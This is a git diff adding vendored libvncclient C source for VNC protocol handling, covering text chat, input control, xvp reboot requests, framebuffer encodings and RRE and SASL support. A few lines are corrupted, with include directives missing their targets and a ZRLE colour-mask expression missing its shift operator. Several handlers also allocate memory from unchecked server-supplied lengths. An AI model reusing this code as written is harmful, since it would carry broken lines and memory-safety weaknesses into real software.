user + * (Think HelpDesk type applications) + */ + +rfbBool TextChatSend(rfbClient* client, char *text) +{ + rfbTextChatMsg chat; + int count = strlen(text); + + if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; + chat.type = rfbTextChat; + chat.pad1 = 0; + chat.pad2 = 0; + chat.length = (uint32_t)count; + chat.length = rfbClientSwap32IfLE(chat.length); + + if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) + return FALSE; + + if (count>0) { + if (!WriteToRFBServer(client, text, count)) + return FALSE; + } + return TRUE; +} + +rfbBool TextChatOpen(rfbClient* client) +{ + rfbTextChatMsg chat; + + if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; + chat.type = rfbTextChat; + chat.pad1 = 0; + chat.pad2 = 0; + chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); + return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); +} + +rfbBool TextChatClose(rfbClient* client) +{ + rfbTextChatMsg chat; + if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; + chat.type = rfbTextChat; + chat.pad1 = 0; + chat.pad2 = 0; + chat.length = rfbClientSwap32IfLE(rfbTextChatClose); + return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); +} + +rfbBool TextChatFinish(rfbClient* client) +{ + rfbTextChatMsg chat; + if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; + chat.type = rfbTextChat; + chat.pad1 = 0; + chat.pad2 = 0; + chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); + return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); +} + +/* + * UltraVNC Server Input Disable + * Apparently, the remote client can *prevent* the local user from interacting with the display + * I would think this is extremely helpful when used in a HelpDesk situation + */ +rfbBool PermitServerInput(rfbClient* client, int enabled) +{ + rfbSetServerInputMsg msg; + + if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; + /* enabled==1, then server input from local keyboard is disabled */ + msg.type = rfbSetServerInput; + msg.status = (enabled ? 1 : 0); + msg.pad = 0; + return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); +} + + +/* + * send xvp client message + * A client supporting the xvp extension sends this to request that the server initiate + * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the + * client is displaying. + * + * only version 1 is defined in the protocol specs + * + * possible values for code are: + * rfbXvp_Shutdown + * rfbXvp_Reboot + * rfbXvp_Reset + */ + +rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) +{ + rfbXvpMsg xvp; + + if (!SupportsClient2Server(client, rfbXvp)) return TRUE; + xvp.type = rfbXvp; + xvp.pad = 0; + xvp.version = version; + xvp.code = code; + + if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) + return FALSE; + + return TRUE; +} + + +/* + * SendPointerEvent. + */ + +rfbBool +SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) +{ + rfbPointerEventMsg pe; + + if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; + + pe.type = rfbPointerEvent; + pe.buttonMask = buttonMask; + if (x < 0) x = 0; + if (y < 0) y = 0; + + pe.x = rfbClientSwap16IfLE(x); + pe.y = rfbClientSwap16IfLE(y); + return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); +} + + +/* + * SendKeyEvent. + */ + +rfbBool +SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) +{ + rfbKeyEventMsg ke; + + if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; + + memset(&ke, 0, sizeof(ke)); + ke.type = rfbKeyEvent; + ke.down = down ? 1 : 0; + ke.key = rfbClientSwap32IfLE(key); + return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); +} + + +/* + * SendClientCutText. + */ + +rfbBool +SendClientCutText(rfbClient* client, char *str, int len) +{ + rfbClientCutTextMsg cct; + + if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; + + memset(&cct, 0, sizeof(cct)); + cct.type = rfbClientCutText; + cct.length = rfbClientSwap32IfLE(len); + return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && + WriteToRFBServer(client, str, len)); +} + + + +/* + * HandleRFBServerMessage. + */ + +rfbBool +HandleRFBServerMessage(rfbClient* client) +{ + rfbServerToClientMsg msg; + + if (client->serverPort==-1) + client->vncRec->readTimestamp = TRUE; + if (!ReadFromRFBServer(client, (char *)&msg, 1)) + return FALSE; + + switch (msg.type) { + + case rfbSetColourMapEntries: + { + /* TODO: + int i; + uint16_t rgb[3]; + XColor xc; + + if (!ReadFromRFBServer(client, ((char *)&msg) + 1, + sz_rfbSetColourMapEntriesMsg - 1)) + return FALSE; + + msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); + msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); + + for (i = 0; i < msg.scme.nColours; i++) { + if (!ReadFromRFBServer(client, (char *)rgb, 6)) + return FALSE; + xc.pixel = msg.scme.firstColour + i; + xc.red = rfbClientSwap16IfLE(rgb[0]); + xc.green = rfbClientSwap16IfLE(rgb[1]); + xc.blue = rfbClientSwap16IfLE(rgb[2]); + xc.flags = DoRed|DoGreen|DoBlue; + XStoreColor(dpy, cmap, &xc); + } + */ + + break; + } + + case rfbFramebufferUpdate: + { + rfbFramebufferUpdateRectHeader rect; + int linesToRead; + int bytesPerLine; + int i; + + if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, + sz_rfbFramebufferUpdateMsg - 1)) + return FALSE; + + msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); + + for (i = 0; i < msg.fu.nRects; i++) { + if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) + return FALSE; + + rect.encoding = rfbClientSwap32IfLE(rect.encoding); + if (rect.encoding == rfbEncodingLastRect) + break; + + rect.r.x = rfbClientSwap16IfLE(rect.r.x); + rect.r.y = rfbClientSwap16IfLE(rect.r.y); + rect.r.w = rfbClientSwap16IfLE(rect.r.w); + rect.r.h = rfbClientSwap16IfLE(rect.r.h); + + + if (rect.encoding == rfbEncodingXCursor || + rect.encoding == rfbEncodingRichCursor) { + + if (!HandleCursorShape(client, + rect.r.x, rect.r.y, rect.r.w, rect.r.h, + rect.encoding)) { + return FALSE; + } + continue; + } + + if (rect.encoding == rfbEncodingPointerPos) { + if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { + return FALSE; + } + continue; + } + + if (rect.encoding == rfbEncodingKeyboardLedState) { + /* OK! We have received a keyboard state message!!! */ + client->KeyboardLedStateEnabled = 1; + if (client->HandleKeyboardLedState!=NULL) + client->HandleKeyboardLedState(client, rect.r.x, 0); + /* stash it for the future */ + client->CurrentKeyboardLedState = rect.r.x; + continue; + } + + if (rect.encoding == rfbEncodingNewFBSize) { + client->width = rect.r.w; + client->height = rect.r.h; + client->updateRect.x = client->updateRect.y = 0; + client->updateRect.w = client->width; + client->updateRect.h = client->height; + if (!client->MallocFrameBuffer(client)) + return FALSE; + SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); + rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); + continue; + } + + /* rect.r.w=byte count */ + if (rect.encoding == rfbEncodingSupportedMessages) { + int loop; + if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) + return FALSE; + + /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ + /* currently ignored by this library */ + + rfbClientLog("client2server supported messages (bit flags)\n"); + for (loop=0;loop<32;loop+=8) + rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, + client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], + client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], + client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], + client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); + + rfbClientLog("server2client supported messages (bit flags)\n"); + for (loop=0;loop<32;loop+=8) + rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, + client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], + client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], + client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], + client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); + continue; + } + + /* rect.r.w=byte count, rect.r.h=# of encodings */ + if (rect.encoding == rfbEncodingSupportedEncodings) { + char *buffer; + buffer = malloc(rect.r.w); + if (!ReadFromRFBServer(client, buffer, rect.r.w)) + { + free(buffer); + return FALSE; + } + + /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ + /* currently ignored by this library */ + free(buffer); + continue; + } + + /* rect.r.w=byte count */ + if (rect.encoding == rfbEncodingServerIdentity) { + char *buffer; + buffer = malloc(rect.r.w+1); + if (!ReadFromRFBServer(client, buffer, rect.r.w)) + { + free(buffer); + return FALSE; + } + buffer[rect.r.w]=0; /* null terminate, just in case */ + rfbClientLog("Connected to Server \"%s\"\n", buffer); + free(buffer); + continue; + } + + /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ + if (rect.encoding != rfbEncodingUltraZip) + { + if ((rect.r.x + rect.r.w > client->width) || + (rect.r.y + rect.r.h > client->height)) + { + rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", + rect.r.w, rect.r.h, rect.r.x, rect.r.y); + return FALSE; + } + + /* UltraVNC with scaling, will send rectangles with a zero W or H + * + if ((rect.encoding != rfbEncodingTight) && + (rect.r.h * rect.r.w == 0)) + { + rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); + continue; + } + */ + + /* If RichCursor encoding is used, we should prevent collisions + between framebuffer updates and cursor drawing operations. */ + client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); + } + + switch (rect.encoding) { + + case rfbEncodingRaw: { + int y=rect.r.y, h=rect.r.h; + + bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; + /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, + usually during GPU accel. */ + /* Regardless of cause, do not divide by zero. */ + linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; + + while (linesToRead && h > 0) { + if (linesToRead > h) + linesToRead = h; + + if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) + return FALSE; + + client->GotBitmap(client, (uint8_t *)client->buffer, + rect.r.x, y, rect.r.w,linesToRead); + + h -= linesToRead; + y += linesToRead; + + } + break; + } + + case rfbEncodingCopyRect: + { + rfbCopyRect cr; + + if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) + return FALSE; + + cr.srcX = rfbClientSwap16IfLE(cr.srcX); + cr.srcY = rfbClientSwap16IfLE(cr.srcY); + + /* If RichCursor encoding is used, we should extend our + "cursor lock area" (previously set to destination + rectangle) to the source rectangle as well. */ + client->SoftCursorLockArea(client, + cr.srcX, cr.srcY, rect.r.w, rect.r.h); + + client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, + rect.r.x, rect.r.y); + + break; + } + + case rfbEncodingRRE: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } + + case rfbEncodingCoRRE: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } + + case rfbEncodingHextile: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } + + case rfbEncodingUltra: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } + case rfbEncodingUltraZip: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } + + case rfbEncodingTRLE: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleTRLE8(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) + return FALSE; + break; + case 16: + if (client->si.format.greenMax > 0x1F) { + if (!HandleTRLE16(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) + return FALSE; + } else { + if (!HandleTRLE15(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) + return FALSE; + } + break; + case 32: { + uint32_t maxColor = + (client->format.redMax << client->format.redShift) | + (client->format.greenMax << client->format.greenShift) | + (client->format.blueMax << client->format.blueShift); + if ((client->format.bigEndian && (maxColor & 0xff) == 0) || + (!client->format.bigEndian && (maxColor & 0xff000000) == 0)) { + if (!HandleTRLE24(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) + return FALSE; + } else if (!client->format.bigEndian && (maxColor & 0xff) == 0) { + if (!HandleTRLE24Up(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) + return FALSE; + } else if (client->format.bigEndian && (maxColor & 0xff000000) == 0) { + if (!HandleTRLE24Down(client, rect.r.x, rect.r.y, rect.r.w, + rect.r.h)) + return FALSE; + } else if (!HandleTRLE32(client, rect.r.x, rect.r.y, rect.r.w, + rect.r.h)) + return FALSE; + break; + } + } + break; + } + +#ifdef LIBVNCSERVER_HAVE_LIBZ + case rfbEncodingZlib: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } + +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + case rfbEncodingTight: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 32: + if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + break; + } +#endif + case rfbEncodingZRLE: + /* Fail safe for ZYWRLE unsupport VNC server. */ + client->appData.qualityLevel = 9; + /* fall through */ + case rfbEncodingZYWRLE: + { + switch (client->format.bitsPerPixel) { + case 8: + if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + case 16: + if (client->si.format.greenMax > 0x1F) { + if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + } else { + if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + } + break; + case 32: + { + uint32_t maxColor=(client->format.redMax<format.redShift)| + (client->format.greenMax<format.greenShift)| + (client->format.blueMax<format.blueShift); + if ((client->format.bigEndian && (maxColor&0xff)==0) || + (!client->format.bigEndian && (maxColor&0xff000000)==0)) { + if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + } else if (!client->format.bigEndian && (maxColor&0xff)==0) { + if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { + if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) + return FALSE; + break; + } + } + break; + } + +#endif + + default: + { + rfbBool handled = FALSE; + rfbClientProtocolExtension* e; + + for(e = rfbClientExtensions; !handled && e; e = e->next) + if(e->handleEncoding && e->handleEncoding(client, &rect)) + handled = TRUE; + + if(!handled) { + rfbClientLog("Unknown rect encoding %d\n", + (int)rect.encoding); + return FALSE; + } + } + } + + /* Now we may discard "soft cursor locks". */ + client->SoftCursorUnlockScreen(client); + + client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); + } + + if (!SendIncrementalFramebufferUpdateRequest(client)) + return FALSE; + + if (client->FinishedFrameBufferUpdate) + client->FinishedFrameBufferUpdate(client); + + break; + } + + case rfbBell: + { + client->Bell(client); + + break; + } + + case rfbServerCutText: + { + char *buffer; + + if (!ReadFromRFBServer(client, ((char *)&msg) + 1, + sz_rfbServerCutTextMsg - 1)) + return FALSE; + + msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); + + if (msg.sct.length > 1<<20) { + rfbClientErr("Ignoring too big cut text length sent by server: %u B > 1 MB\n", (unsigned int)msg.sct.length); + return FALSE; + } + + buffer = malloc(msg.sct.length+1); + + if (!ReadFromRFBServer(client, buffer, msg.sct.length)) { + free(buffer); + return FALSE; + } + + buffer[msg.sct.length] = 0; + + if (client->GotXCutText) + client->GotXCutText(client, buffer, msg.sct.length); + + free(buffer); + + break; + } + + case rfbTextChat: + { + char *buffer=NULL; + if (!ReadFromRFBServer(client, ((char *)&msg) + 1, + sz_rfbTextChatMsg- 1)) + return FALSE; + msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); + switch(msg.tc.length) { + case rfbTextChatOpen: + rfbClientLog("Received TextChat Open\n"); + if (client->HandleTextChat!=NULL) + client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); + break; + case rfbTextChatClose: + rfbClientLog("Received TextChat Close\n"); + if (client->HandleTextChat!=NULL) + client->HandleTextChat(client, (int)rfbTextChatClose, NULL); + break; + case rfbTextChatFinished: + rfbClientLog("Received TextChat Finished\n"); + if (client->HandleTextChat!=NULL) + client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); + break; + default: + buffer=malloc(msg.tc.length+1); + if (!ReadFromRFBServer(client, buffer, msg.tc.length)) + { + free(buffer); + return FALSE; + } + /* Null Terminate */ + buffer[msg.tc.length]=0; + rfbClientLog("Received TextChat \"%s\"\n", buffer); + if (client->HandleTextChat!=NULL) + client->HandleTextChat(client, (int)msg.tc.length, buffer); + free(buffer); + break; + } + break; + } + + case rfbXvp: + { + if (!ReadFromRFBServer(client, ((char *)&msg) + 1, + sz_rfbXvpMsg -1)) + return FALSE; + + SetClient2Server(client, rfbXvp); + /* technically, we only care what we can *send* to the server + * but, we set Server2Client Just in case it ever becomes useful + */ + SetServer2Client(client, rfbXvp); + + if(client->HandleXvpMsg) + client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); + + break; + } + + case rfbResizeFrameBuffer: + { + if (!ReadFromRFBServer(client, ((char *)&msg) + 1, + sz_rfbResizeFrameBufferMsg -1)) + return FALSE; + client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); + client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); + client->updateRect.x = client->updateRect.y = 0; + client->updateRect.w = client->width; + client->updateRect.h = client->height; + if (!client->MallocFrameBuffer(client)) + return FALSE; + + SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); + rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); + break; + } + + case rfbPalmVNCReSizeFrameBuffer: + { + if (!ReadFromRFBServer(client, ((char *)&msg) + 1, + sz_rfbPalmVNCReSizeFrameBufferMsg -1)) + return FALSE; + client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); + client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); + client->updateRect.x = client->updateRect.y = 0; + client->updateRect.w = client->width; + client->updateRect.h = client->height; + if (!client->MallocFrameBuffer(client)) + return FALSE; + SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); + rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); + break; + } + + default: + { + rfbBool handled = FALSE; + rfbClientProtocolExtension* e; + + for(e = rfbClientExtensions; !handled && e; e = e->next) + if(e->handleMessage && e->handleMessage(client, &msg)) + handled = TRUE; + + if(!handled) { + char buffer[256]; + rfbClientLog("Unknown message type %d from VNC server\n",msg.type); + ReadFromRFBServer(client, buffer, 256); + return FALSE; + } + } + } + + return TRUE; +} + + +#define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) + +#define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ + ((uint8_t*)&(pix))[1] = *(ptr)++) + +#define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ + ((uint8_t*)&(pix))[1] = *(ptr)++, \ + ((uint8_t*)&(pix))[2] = *(ptr)++, \ + ((uint8_t*)&(pix))[3] = *(ptr)++) + +/* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also + expands its arguments if they are macros */ + +#define CONCAT2(a,b) a##b +#define CONCAT2E(a,b) CONCAT2(a,b) +#define CONCAT3(a,b,c) a##b##c +#define CONCAT3E(a,b,c) CONCAT3(a,b,c) + +#define BPP 8 +#include "rre.c" +#include "corre.c" +#include "hextile.c" +#include "ultra.c" +#include "zlib.c" +#include "tight.c" +#include "trle.c" +#include "zrle.c" +#undef BPP +#define BPP 16 +#include "rre.c" +#include "corre.c" +#include "hextile.c" +#include "ultra.c" +#include "zlib.c" +#include "tight.c" +#include "trle.c" +#include "zrle.c" +#define REALBPP 15 +#include "trle.c" +#define REALBPP 15 +#include "zrle.c" +#undef BPP +#define BPP 32 +#include "rre.c" +#include "corre.c" +#include "hextile.c" +#include "ultra.c" +#include "zlib.c" +#include "tight.c" +#include "trle.c" +#include "zrle.c" +#define REALBPP 24 +#include "trle.c" +#define REALBPP 24 +#include "zrle.c" +#define REALBPP 24 +#define UNCOMP 8 +#include "trle.c" +#define REALBPP 24 +#define UNCOMP 8 +#include "zrle.c" +#define REALBPP 24 +#define UNCOMP -8 +#include "trle.c" +#define REALBPP 24 +#define UNCOMP -8 +#include "zrle.c" +#undef BPP + + +/* + * PrintPixelFormat. + */ + +void +PrintPixelFormat(rfbPixelFormat *format) +{ + if (format->bitsPerPixel == 1) { + rfbClientLog(" Single bit per pixel.\n"); + rfbClientLog( + " %s significant bit in each byte is leftmost on the screen.\n", + (format->bigEndian ? "Most" : "Least")); + } else { + rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); + if (format->bitsPerPixel != 8) { + rfbClientLog(" %s significant byte first in each pixel.\n", + (format->bigEndian ? "Most" : "Least")); + } + if (format->trueColour) { + rfbClientLog(" TRUE colour: max red %d green %d blue %d" + ", shift red %d green %d blue %d\n", + format->redMax, format->greenMax, format->blueMax, + format->redShift, format->greenShift, format->blueShift); + } else { + rfbClientLog(" Colour map (not true colour).\n"); + } + } +} + +/* avoid name clashes with LibVNCServer */ + +#define rfbEncryptBytes rfbClientEncryptBytes +#define rfbEncryptBytes2 rfbClientEncryptBytes2 +#define rfbDes rfbClientDes +#define rfbDesKey rfbClientDesKey +#define rfbUseKey rfbClientUseKey + +#include "vncauth.c" +#include "d3des.c" diff --git a/3rdparty/libvncserver/libvncclient/rre.c b/3rdparty/libvncserver/libvncclient/rre.c new file mode 100644 index 0000000..752d7cc --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/rre.c @@ -0,0 +1,68 @@ +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * rre.c - handle RRE encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles an RRE + * encoded rectangle with BPP bits per pixel. + */ + +#define HandleRREBPP CONCAT2E(HandleRRE,BPP) +#define CARDBPP CONCAT3E(uint,BPP,_t) + +static rfbBool +HandleRREBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + rfbRREHeader hdr; + int i; + CARDBPP pix; + rfbRectangle subrect; + + if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbRREHeader)) + return FALSE; + + hdr.nSubrects = rfbClientSwap32IfLE(hdr.nSubrects); + + if (!ReadFromRFBServer(client, (char *)&pix, sizeof(pix))) + return FALSE; + + client->GotFillRect(client, rx, ry, rw, rh, pix); + + for (i = 0; i < hdr.nSubrects; i++) { + if (!ReadFromRFBServer(client, (char *)&pix, sizeof(pix))) + return FALSE; + + if (!ReadFromRFBServer(client, (char *)&subrect, sz_rfbRectangle)) + return FALSE; + + subrect.x = rfbClientSwap16IfLE(subrect.x); + subrect.y = rfbClientSwap16IfLE(subrect.y); + subrect.w = rfbClientSwap16IfLE(subrect.w); + subrect.h = rfbClientSwap16IfLE(subrect.h); + + client->GotFillRect(client, rx+subrect.x, ry+subrect.y, subrect.w, subrect.h, pix); + } + + return TRUE; +} + +#undef CARDBPP diff --git a/3rdparty/libvncserver/libvncclient/sasl.c b/3rdparty/libvncserver/libvncclient/sasl.c new file mode 100644 index 0000000..db240c1 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/sasl.c @@ -0,0 +1,582 @@ +/* + * The software in this file is derived from the vncconnection.c source file + * from the GTK VNC Widget with modifications by S. Waterman + * for compatibility with libvncserver. The copyright and license + * statements below apply only to this source file and to no other parts of the + * libvncserver library. + * + * GTK VNC Widget + * + * Copyright (C) 2006 Anthony Liguori + * Copyright (C) 2009-2010 Daniel P. Berrange + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.0 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * sasl.c - functions to deal with client side of the SASL protocol. + */ + +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#define _POSIX_SOURCE +#define _XOPEN_SOURCE 600 +#endif + +#include +#include + +#ifdef WIN32 +#undef SOCKET +#include +#ifdef EWOULDBLOCK +#undef EWOULDBLOCK +#endif +#define EWOULDBLOCK WSAEWOULDBLOCK +#define socklen_t int +#define close closesocket +#define read(sock,buf,len) recv(sock,buf,len,0) +#define write(sock,buf,len) send(sock,buf,len,0) +#ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H +#undef socklen_t +#include +#endif /* LIBVNCSERVER_HAVE_WS2TCPIP_H */ +#else /* WIN32 */ +#include +#endif /* WIN32 */ + +#include "sasl.h" + +#include "tls.h" + +#ifdef _MSC_VER +# define snprintf _snprintf /* MSVC went straight to the underscored syntax */ +#endif + +/* + * NB, keep in sync with similar method in qemud/remote.c + */ +static char *vnc_connection_addr_to_string(char *host, int port) +{ + char * buf = (char *)malloc(strlen(host) + 7); + sprintf(buf, "%s;%hu", host, port); + return buf; +} + +static int log_func(void *context, + int level, + const char *message) +{ + rfbClientLog("SASL: %s\n", message); + + return SASL_OK; +} + +static int user_callback_adapt(void *context, + int id, + const char **result, + unsigned *len) +{ + rfbClient* client = (rfbClient *)context; + + if (id != SASL_CB_AUTHNAME) { + rfbClientLog("Unrecognized SASL callback ID %d\n", id); + return SASL_FAIL; + } + + if (!client->GetUser) { + rfbClientLog("Client user callback not found\n"); + return SASL_FAIL; + } + + *result = client->GetUser(client); + + if (! *result) return SASL_FAIL; + /**len = strlen(*result);*/ + return SASL_OK; +} + +static int password_callback_adapt(sasl_conn_t *conn, + void * context, + int id, + sasl_secret_t **secret) +{ + rfbClient* client = (rfbClient *)context; + char * password; + + if (id != SASL_CB_PASS) { + 